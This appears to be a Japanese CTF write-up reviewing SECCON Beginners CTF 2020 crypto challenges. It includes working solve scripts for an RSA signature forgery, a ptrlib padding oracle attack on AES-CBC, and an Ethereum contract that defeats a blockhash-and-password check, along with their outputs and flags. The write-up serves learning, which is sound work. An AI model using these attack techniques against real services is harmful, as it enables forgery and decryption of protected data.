#!/usr/bin/env python3 # -*- coding:utf-8 -*- from Crypto.Util.number import * from pwn import * from pprint import pprint host = 'rsacalc.quals.beginners.seccon.jp' port = 10001 def fetch_signature(data): r = remote(host, port) res = r.recvuntil(b'----------') N = int(res[3:].split(b'\n')[0]) res = r.recvuntil(b'> ') r.sendline(b'1') res = r.recvuntil(b'data> ') r.sendline(long_to_bytes(data)) s = int(r.recvline()[10:-1],16) r.close() return N, s data = b'1337,F' print(bytes_to_long(data)) # 54095972346950 m1 = 1081919446939 m2 = bytes_to_long(data) // m1 N, s1 = fetch_signature(m1) N, s2 = fetch_signature(m2) s = s1 * s2 % N r = remote(host, port) res = r.recvuntil(b'> ') r.sendline(b'2') res = r.recvuntil(b'data> ') r.sendline(data) res = r.recvuntil(b'signature> ') r.sendline(hex(s)[2:]) print(r.recvline())
実行結果
$ python solve.py 54095972346950 [+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done [*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001 [+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done [*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001 [+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done b'ctf4b{SIgn_n33ds_P4d&H4sh}\n' [*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001
他、分解しなくても2で割ったものと2 (すなわちが2)でやったり、逆にでやったりしているwriteupも。
これも基礎力を問われる感じの、とてもいい問題だったんだなぁ…。
[Crypto] Encrypter [Medium]
暗号化できるサービスを作ってみました!
指定されたurlに行ってみると、base64 encode/decode サービスっぽいサイトが。
Encrypted flag
ボタンがあるので、これを選んでEncrypt/Decrypt
を押してみると、それっぽい文字列がOutputに表示されます。が、他の文字列をEncryptしてもそうなんですけど、ボタンを押すごとに値が変わります。
Encrypt機能で得られた文字列をInputに入れ、Decrypt
を実行してみると、ok. TODO: return the result without the flag
とOutputに表示されます。
htmlソースを読んでみても、ぱっとそれっぽい処理はなし。/encrypt.php
を読みに行っていることがわかります。このソースを取得できないかやってみましたができませんでした。そもそもCrypto問だし。
この問題は時間切れでポチポチ試してみただけ。ソースなし問題。
復習
Discordに作問者さんからのコメントがあったのでコピペ。
参加者で返してる人がいないので作問者から。Encrypterはブロック暗号関連の知識が必要で、特にブロック暗号利用モードが何かに気付けるかどうかが鍵になります。Encrypted flagがボタンを押すたびに全然違う文字列になるので、「最初にランダムなIVを使用して暗号化するCBCモードが使われているだろう」という予想を立てることができます。
CBCで有名な攻撃を検索すると、BitFlip攻撃やPadding oracle attackといった攻撃が出てきますが、今回の問題は復号の可否がわかるので後者になります
とのこと。エラーを吐かせて、暗号の種類を特定できたのか。
他の方のwriteup読んでみた感じ、エラーで判別してる人もいれば、暗号語の文字列の長さや上記の通り同じ文字列を暗号化しても毎度値が異なることからAESが使われていることを推測している人も。
ポチポチ試してみて観測できること
- 同じ文字列を暗号化しても、毎回違う暗号文が生成される
- 文字列の長さを変えると、暗号文の長さも変わる
- Encrypted flag ボタンを押すと、毎回違う暗号文が返ってくるが長さは毎回一緒
- Encrypt機能で暗号化された文字列は、base64Decodeすると、16の倍数になっている
- Encrypt機能で生成した文字列をDecryptしても
ok. TODO: return the result without the flag
としか返ってこない - が、ちょっと変えてDecryptに突っ込むと、
error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length
が返る
このエラーの文言 wrong final block length
から、paddingに失敗していることを推測することが想定されていたっぽい。また。digital envelope routines
など、エラーメッセージのフォーマットっぽいので検索すると、AES-CBC
が使われていることまでわかる。
復号できたかどうかの成否を与えられる、AES-CBCに対する攻撃手法と言えば、Padding Oracle。ということで、Padding Oracle攻撃を試す、という流れだったらしい。
これまでもpicoCTFで何度かPadding Oracleに関する問題が出題されており、そのたびに色々読みながら攻撃コードを組み立てていましたが、今回いくつかのwriteupにて、ptrlib
にpadding oracle用のAPIが用意されているらしい…!知らなかった。ということで、これを使ってみます。
なんか見たことある名前のライブラリと見たことあるサムネ画像だなーと思ったら、作者が ptr-yudai さんだった。
サンプルコードはこちら。
https://bitbucket.org/ptr-yudai/ptrlib/src/master/examples/crypto/ex_padcbc.py
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import base64 import json from ptrlib import * from Crypto.Cipher import AES url = 'http://encrypter.quals.beginners.seccon.jp/encrypt.php' flag_cipher = 'y7yja1+ro8yJVmTrban4XQG/5jKIpWtm2AC5tGhTScSY0TVgWUEahx9x+37u8biBfxFa9aI+h3zttKegXuZN9g==' def try_decrypt(cipher): data = { 'mode': 'decrypt', 'content': base64.b64encode(cipher).decode() } headers = {'Content-Type': 'application/json'} res = requests.post(url, data=json.dumps(data), headers=headers) if 'TODO:' in res.text: return True else: return False cipher = base64.b64decode(flag_cipher) cracked = padding_oracle(try_decrypt, cipher, bs=AES.block_size, unknown=b'?') print(cracked)
実行結果
$ python solve.py [+] padding_oracle_block: decrypted a byte 1/16: b'\x02' [+] padding_oracle_block: decrypted a byte 2/16: b'\x02' [+] padding_oracle_block: decrypted a byte 3/16: b'}' [+] padding_oracle_block: decrypted a byte 4/16: b'n' [+] padding_oracle_block: decrypted a byte 5/16: b'0' (略) [+] padding_oracle_block: decrypted a byte 13/16: b'3' [+] padding_oracle_block: decrypted a byte 14/16: b'_' [+] padding_oracle_block: decrypted a byte 15/16: b'r' [+] padding_oracle_block: decrypted a byte 16/16: b'0' [+] padding_oracle: decrypted a block 2/4: b'0r_3ncrypt10n}\x02\x02' [+] padding_oracle_block: decrypted a byte 1/16: b'f' [+] padding_oracle_block: decrypted a byte 2/16: b'_' [+] padding_oracle_block: decrypted a byte 3/16: b'l' (略) [+] padding_oracle_block: decrypted a byte 15/16: b't' [+] padding_oracle_block: decrypted a byte 16/16: b'c' [+] padding_oracle: decrypted a block 4/4: b'ctf4b{p4d0racle_' b'????????????????ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}\x02\x02'
文字が判明するごとに出力、ブロックが判明するごとに行出力してくれるので、とても安心。こんなに早く実装できるとは…!
暗号にAES-CBCが使われていること、こちらが得られる情報からpadding oracleが使えそうなこと、に気付けるかが問われている問題だった。
[Crypto] C4B [Hard]
Are you smart?
これはチラ見すらしなかった。問題文からして、Smart Contruct関連?
復習
タイトルと使うツールなどから、仮想通貨、イーサリアム(Ethereum)関連の問題であることがわかります。
このあたりでイーサリアム、およびスマートコントラクトについての基礎中の基礎知識をつけておきます。
環境を整えて問題が見れる・動かせるようにする
指定されたサイトを訪れると、Web3 Provider
をinstallするよう言われます。
ここに良さそうな解説記事が。
MetaMask を使用した Web3 の初期化 - 🍣sushiether🍣
ほうほう。リポジトリはこちら。
今回はChrome拡張機能が必要っぽいので、下記からChromeにインストールします。
これをインストールして先程のページを開くと、Rule, Source, Hintが表示されました🙌
まだ警告が残っています。Switch to Ropsten Network とのこと。Ropstenで検索すると、Ethereumのテストネットの一つらしく、他にもkovan
,rinkeby
などがある。
先程のMetaMask拡張のサイトに、テストネットを選択するところがあったので、ropstenを選択してみます。
切り替えて戻ってみると、警告が消えていました。スタートできそうです。
topに表示されているSourceを眺めてみます。
pragma solidity >= 0.5.0 < 0.7.0; contract C4B { address public player; bytes8 password; bool public success; event CheckPassed(address indexed player); constructor(address _player, bytes8 _password) public { player = _player; password = _password; success = false; } function check(bytes8 _password, uint256 pin) public returns(bool) { uint256 hash = uint256(blockhash(block.number - 1)); if (hash%1000000 == pin) { if (keccak256(abi.encode(password)) == keccak256(abi.encode(_password))) { success = true; } } emit CheckPassed(player); return success; } }
ここで使われている言語は、Solidityと言うらしい。
Solidityはスマートコントラクトを扱えるオブジェクト指向の高級言語です。スマートコントラクトはEthereum内でアカウントの動作を制御するものです。
SolidityはC++、Python、JavaScriptを参考に、Ethereum Virtual Machine(EVM)の操作を目的に作られています。
知らないことがたくさんあるなぁ。
Hintに書かれている、Remix IDE
は、このSolidity用のIDE。
ブラウザベースのIDEでSolidityでスマートコントラクトが書け、デプロイしてスマートコントラクトを動かすことができます。
とのこと。
まずは動かしてみます。
ページトップの方にあるDeploy
を押してみると、こんなウィンドウが立ち上がります。
このままでは残高不足で何もできないようです。テストネットで動いているので、MetaMaskのページで 振り込み
> Faucetをテスト
で、テスト振り込みしておきます。
時間がかかりますが、1 ETH
ずつ振り込み
> Faucetをテスト
で振り込んでいくと、5 ETH
まで振り込んだところでこれ以上所持できなくなります。今回は1 ETH
でも充分だったかも。
沢山お金が手に入ったので、TopページのDeployを試してみます。今回はちゃんと残高が足りたので「確認」ボタンが押せるようになっています。ボタンを押して送金完了。一通りの機能が試せました。
MetaMaskからリンクで飛べる Etherscan では、各コントラクトの詳細情報が確認できます。
Deployした際、コントラクトが confirmed になったら、MetaMaskプラグインから完了通知とともに「Etherscan で確認しますか?」的なポップが出るので、ここからEtherscanに飛べます。MetaMaskページの取引履歴でも送金元・先のアドレスや金額、Gas Limit, Used, Price などが確認でき、更にEtherscanへのショートカットも用意されていました👍 TransactionIDをコピーしてそれで検索してもよし。
Ethereumを扱う際は、まずはこのサイトで情報をチェックするのが定石っぽい。
事前知識の獲得とソースコード解読
さて、何をしていいかさっぱりわからないので、ここらへんで下記のサイトをざーっと読んでみました。
- 本書について - Ethereum入門
- ここが一番まとまっていて用語の解説もわかりやすかった。ただし絶賛執筆中とのこと
今回サイト上に示されていたコードは、上記のコントラクト・コード
にあたります。
コントラクト・コードに任意の動作をプログラムすることで、独自通貨の発行や投票システムなどの様々なアプリケーションが実現できます。コントラクト・コードの実行は採掘者によって行われ、実行結果は公開元帳であるブロックチェーンに書き込まれていき、特定の中央機関なくアプリケーションが動作していきます。
とのこと。この機能がEthereumの特徴であるらしい。
サイト上のDeploy
をすると、このC4B
コントラクトがデプロイされ、インスタンスがEthereumのブロックチェーン上に生成されます。このインスタンスに対して、適切な引数を付けてcheck()
関数を呼び出すとflagが得られるっぽい。
スマートコントラクトを作成し実行する - Ethereum入門 に、set()
関数呼び出しで値をセット、get()
関数呼び出しで値を取得するようなコントラクト・コードの例が載っているので、参考になる。
Solidityは初見ですが、C++、Python、JavaScriptを参考に作られたということもあり、雰囲気で読めそう。
下記のチェックをpassすればよさそう。
uint256(blockhash(block.number - 1)) % 1000000 == pin keccak256(abi.encode(password)) == keccak256(abi.encode(_password)
まず、block.number
は現在のブロック高のこと。EtherscanからはBlock Height
として確認できます。当該Transactionが含まれるblockの最新のブロック高から計算できる値が、check
関数の引数、pin
と合致すればOK。
2つ目はkeccak256()
というhash関数に食わせた者同士を比較していますが、
Solidityでは、stringという文字列の型を使用するのですが、他の言語のStringと違って、文字列の比較ができません。
そのため、一度、Keccak256関数を使って文字列をbytes32型にし、その値を比較する必要があります。
from: 【Ethereum・Solidity】Keccak256(ハッシュ関数)について | ブロックチェーンエンジニアのブログ
ということで、あまり気にしなくて良さそう。インスタンス生成時にsetされたpassword
と、check関数呼び出し時の引数_password
が合致していればOK。
SmartContractを Remix IDE でデプロイして動かしてみる
まだ挙動がよくわかっていなかったので、とりあえずヒントのIDEを使ってみることに。ブラウザ上で動作するので、環境の準備は不要。
初学者なので、まずは
EthereumのDapps開発にはRemixが便利 - Qiita
こちらの記事を読みながら、Contractのコードを作成、Compile、Deployをしてinstanceを作るところまでをやってみました。まずはHelloWorldコードを写経。
pragma solidity ^0.4.0; contract HelloWorld { string greeting = "HelloWorld"; function sayHelloWorld() public view returns(string) { return greeting; } }
最新のバージョンでのコンパイル方法がわからなかったのですが、Homeの Environments > SOLIDITY をクリックすると、左側に SOLIDITY COMPILER のメニューが表示されました。
Compileが通ったら、メニューアイコンが SOLIDITY COMPILER の下にある DEPLOY & RUN TRANSACTIONS に行ってみます。
環境やアカウント、GAS Limitなどの設定をした後、Deployを実行。
Deployが終わると、下にある Transaction recorded の箇所に情報が出てくるので、Deployed Contractsから対象のContractを選び展開すると、sayHelloWorld
ボタンが出現。これを押すと、機能をrunしてくれ、返り値に設定した 0: string: HelloWolrd
が表示されました。
これと同じように、今回のC4B
のコントラクト・コードも作成、Complile, Deployしてみます。
DEPLOY & RUN TRANSACTIONS ページで、ENVIRONMENTを Injected Web3 に変更、AccountをMetaMaskに表示されている自分のものを入力(自動で入力される)すると、使えるようになる。
_PLAYER
に自分のアカウントのaddress, _PASSWORD
に適当な値を入れてDeployすると、こんな感じに。
Deployed Contracts を展開すると、check機能が使えるようになっている。ここでcheck機能の条件をクリアする入力を入れると インスタンスの success
が true
になって、きっとflagが手に入る。
こんな感じでインスタンスの値を取得するボタンもあり、現在のsuccess
の値を取得できます。
passwordの値を調べる
passwordは自分でinstance作るんだから知ってるじゃん、と思ったけど、さっきみたいに Remix IDE で自分でdeployしたやつじゃなくて問題ページのDeploy
機能でdeployしたものを使う必要があるんだった。初めてのことすぎて錯乱している。
問題ページのDeploy
機能でdeployしたtransactionは、MetaMaskの履歴からEtherscanへのリンクで詳細が確認できる。
passwordの求め方は、writeup読んでいても三者三様(文字通り)で面白い。多分2つはとても似ているので、今回はLaikaさんとkusanoさんのwriteupをなぞってみました。
1.自分の作成したinstanceの Storage を参考に、Storage のどこに password が書かれるかを推測
まず、先程自分でRemix上でC4B
コントラクトを作成したときのTransactionに飛び、StateChanges を見ます。
StateがChangeした際の詳細を見ると、Storageの中身が書き換わっています。ここに、passwordに指定していたdeadbeefcafebabe
がいました。
同様に、問題サイト上からdeployしたときの transaction > StateChanges を確認してみます。
先程passwordが入っていたところはa5b20ad6a7a11e8c
に変わっています。これがpasswordであると推測できます。
2.Contractのdecompile結果を解読する
問題サイトからDeployしたときのTransactionを確認します。
この To:
のところのContractが知りたいので、アドレスのリンクをクリックすると、Contractの情報に飛べます。
Decompile ByteCode のボタンリンクをクリックすると、Decompile画面に飛び、Decompileを実行すると下記の結果が得られます。
# # Panoramix v4 Oct 2019 # Decompiled source of ropsten:0xBa0C16D30DAc50d6530B7D405c901bA611312f01 # # Let's make the world open source # def _fallback() payable: # default function revert def unknown4c96a389(addr _param1) payable: require calldata.size - 4 >= 32 create contract with 0 wei code: 0xfe608060405234801561001057600080fd5b506040516102703803806102708339818101604052604081101561003357600080fd5b508051602090910151600080546001600160a01b0319166001600160a01b0390931692909217600160a01b600160e01b031916600160a01b60c09290921c919091021760ff60e01b191681556101e190819061008f90396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80630b93381b1461004657806348db5f8914610062578063c577930a14610086575b600080fd5b61004e6100b3565b604080519115158252519081900360200190f35b61006a6100c3565b604080516001600160a01b039092168252519081900360200190f35b61004e6004803603604081101561009c57600080fd5b506001600160c01b031981351690602001356100d2565b600054600160e01b900460ff1681565b6000546001600160a01b031681565b600060001943014082620f42408206141561016057604080516001600160c01b03198087166020808401919091528351808403820181528385018552805190820120600054600160a01b900460c01b909216606080850191909152845180850390910181526080909301909352815191909201201415610160576000805460ff60e01b1916600160e01b1790555b600080546040516001600160a01b03909116917f320f420edbd58b0816e3c933b93878e7c130093cdc9237d2e3a855b724f69c9491a25050600054600160e01b900460ff169291505056fea2646970667358221220847acddc65835de532668e5c0c467e8906f287b7ccd0665a6763dd424e10be6a64736f6c634300060600, addr(_param1), Mask(64, 192, sha3(block.hash(block.number - 1))) if not create.new_address: revert with ext_call.return_data[0 len return_data.size] log 0xbe099bcc: addr(create.new_address), _param1
この、code
の最後の Mask(64, 192, sha3(block.hash(block.number - 1)))
がpasswordだと見当をつけ、C4Bの逆コンパイル結果と見比べて、solidityコードの
bytes8(keccak256(abi.encode(blockhash(block.number - 1))))
と等価だと考えたらしい。すご。
pinの値を調べる
この方法も何通りかありそうでした。
C4B - SECCON Beginners CTF 2020 - minaminao
こちらのwriteupでは、web3
モジュールの機能を使っていました。
latest_block = w3.eth.getBlock("latest")
とすると、最新のblockが取れるらしい。
ただし、ここで最新のものを取得するコードを書いていても
トランザクションがブロックに含まれるのに時間差があり、pin が正しい値になることが難しい (Infura の情報が遅れてるのかもしれない) ので、success が true になるまでトランザクションを送信するスクリプトを書いた。
とあるように、block.number
がどんどん更新されていくので、pinを固定して持っておくと辛そう。
そこで、このcheck
関数を呼び出す、別のContractを作成し、check
の呼び出し時にblock.number
を取得するようにすると良いらしい。
適切なpassword, hashを設定して、check関数を呼ぶ
ということで、C4B contract の check
関数を呼び出す Solve contract を作成。attack
関数でblock.number
を取得、pinを計算し、passwordとセットにしてC4B.check
を呼び出します。
import
で既存のファイルをimportできるそうなので使ってみた。ほおおぉぉぉ。Ethereum 外部コントラクトの呼び出し方法(Remix, MetaMask連携) - Qiita
pragma solidity >= 0.5.0 < 0.7.0; import 'C4B.sol'; contract Solve { C4B public target; constructor(address _target) public { target = C4B(_target); } function attack(bytes8 password) public { uint256 hash = uint256(blockhash(block.number-1))%1000000; target.check(password, hash); } }
これを Remix IDE で作成、コンパイルし、"Your contract is at: 0x908ce018A52dE84ce3357882dF526Ce1C0Ab85ef" と問題サイトに教えてもらった(MetaMaskやEtherscanからも確認できるが) contract address を _target
に設定して Deployします。
Deployできたら、後は先程取得したpassword 0xa5b20ad6a7a11e8c
をセットし、attack
関数を叩きます。
これでうまく行っていれば、問題サイトで作成した C4B contract の instance の check
関数が正しい引数 password, pin
で呼ばれ、状態 success
が true
に変わるはず。
Etherscanから、このpublicな状態 success
を確認しようとしてみましたが、方法がわからなかった。他のcontractだと read contract
みたいな機能があって、内部状態が確認できるのだけど、testnetだからなのかソースを付けていないからなのか、確認できなかった。
ただ、このcheck
を叩くcontractのtransactionを確認すると (対象contract -> Interna lTxns -> 一番上のHash) State Changeで下記が確認できた。
passwordより前のバイトが 0
から1
に変化したので、何かしら内部状態に変更が生じたことが確認できる。更に false -> true の変更を期待しているので、限りなく success が true になったと考えて良さそう。
問題サイトに戻り、Submit
を押してみます。署名を送ると、多分success
の状態が確認され、チェックが通り、flagが表示されました🙌
ちなみに、問題の C4B contract を decompile してみるとこんな感じ。
(コメント省略) def storage: stor0 is uint128 at storage 0 offset 160 unknown48db5f89Address is addr at storage 0 success is uint8 at storage 0 offset 224 def success() payable: return bool(success) def unknown48db5f89() payable: return unknown48db5f89Address # # Regular functions # def _fallback() payable: # default function revert def unknownc577930a(uint64 _param1, uint256 _param2) payable: require calldata.size - 4 >= 64 if block.hash(block.number - 1) % 10^6 == _param2: if sha3(stor0 << 192) == sha3(Mask(64, 192, _param1)): success = 1 log 0x320f420e: unknown48db5f89Address return bool(success)
ソースが与えられずに decompile 結果から中身を把握する問題もありそう。
途中からはほぼ他のwriteupを「なぞった」感じ。ほぼEthereum初見で解けてる人たち凄いなぁ…。
writeupなぞってやってても、ちょいミスでflagまで辿り着けないを繰り返していたので、本番で解ける気がしない(꒪ཀ꒪)
参考にしたwriteup
見つかったwriteupは3つ。解けたチームが5つなのでこんなもんかも。書いていただいてありがとうございました!
- SECCON Beginners CTF 2020 write-up - Qiita
- C4B - SECCON Beginners CTF 2020 - minaminao
- wani-writeup/2020/05-seccon4b/cry-c4b at master · wani-hackase/wani-writeup · GitHub
感想など
競技中は解けなかった問題、改めて見ると「なんで解けんかったんや」という問題もあれば、「あぁ、基礎力足りなかったな」とか「応用力足りなかったな」「根気が足りなかったな」「時間書ける問題間違えたな」などなど色々反省。
問題自体はどれもとても勉強になりました。復習してよかったー🙌!最近CTF用メモを作っていて、技術や用語、脆弱性や攻撃手法、数学理論、豆知識…など仕入れた知識をコツコツメモしてるんですけど、その場でしか使えない知識やなぞなぞ、guess系の問題だとメモるすことがなくて終わってしまう。そういうCTFも楽しくて好きなんだけど。
CTf4b 2020は、そういう意味でも基本的・汎用的な問題が多く、学ぶことが多かったように思います。(まだPwn・Reversingやってないけど)
特に、全然触ったこともなかった GraphQL や Ethereum の基本的な問題に、時間をかけてじっくり取り組めたのはとても良かった。競技終了後もサーバーをrunningにしておく期間(基本放置とおっしゃってますが問題なく動いていました)を設けていただいて、運営の皆様には感謝です。